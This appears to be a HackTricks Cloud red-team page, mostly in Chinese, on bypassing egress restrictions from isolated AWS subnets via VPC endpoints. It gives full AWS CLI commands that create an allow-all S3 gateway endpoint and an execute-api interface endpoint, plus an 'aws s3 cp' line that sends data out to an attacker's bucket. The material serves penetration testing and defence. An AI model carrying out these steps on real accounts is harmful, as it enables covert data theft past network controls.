AWS – 从隔离子网通过 VPC Endpoints 绕过出站限制
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概要
该技术滥用 VPC Endpoints,在没有 Internet Gateways 或 NAT 的子网中创建 exfiltration channels。Gateway endpoints(例如 S3)会将 prefix‑list 路由添加到子网路由表;Interface endpoints(例如 execute-api、secretsmanager、ssm 等)会创建可达的 ENIs,带有由 security groups 保护的私有 IP。凭借最小的 VPC/EC2 permissions,攻击者可以开启受控的出站流量,而无需经过 public Internet。
前置条件:已有 VPC 和 私有子网(无 IGW/NAT)。你需要有创建 VPC endpoints 的权限,并且对于 Option B,需要一个可以附加到 endpoint ENIs 的 security group。
Option A – S3 Gateway VPC Endpoint
变量
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- Create a permissive endpoint policy file (optional). Save as
allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- 创建 S3 Gateway endpoint(将 S3 prefix‑list 路由添加到所选路由表):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
要收集的证据:
aws ec2 describe-route-tables --route-table-ids $RTB_IDS显示指向 AWS S3 prefix list 的路由(例如,DestinationPrefixListId=pl-..., GatewayId=vpce-...)。- 从那些子网内的实例(具有 IAM perms)你可以 exfil via S3 without Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
选项 B – Interface VPC Endpoint for API Gateway (execute-api)
变量
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- 创建 interface endpoint 并附加 SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
需要收集的证据:
aws ec2 describe-vpc-endpoints显示该端点处于available状态并具有NetworkInterfaceIds(子网中的 ENIs)。- 这些子网中的实例可以通过这些 VPCE ENIs 访问 Private API Gateway 端点(无需 Internet 路径)。
影响
- 通过利用 AWS 管理的私有路径访问 AWS 服务,绕过边界出站控制。
- 在无需 IGW/NAT 的情况下,使得从隔离子网进行 data exfiltration 成为可能(例如,写入 S3;调用 Private API Gateway;访问 Secrets Manager/SSM/STS 等)。
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

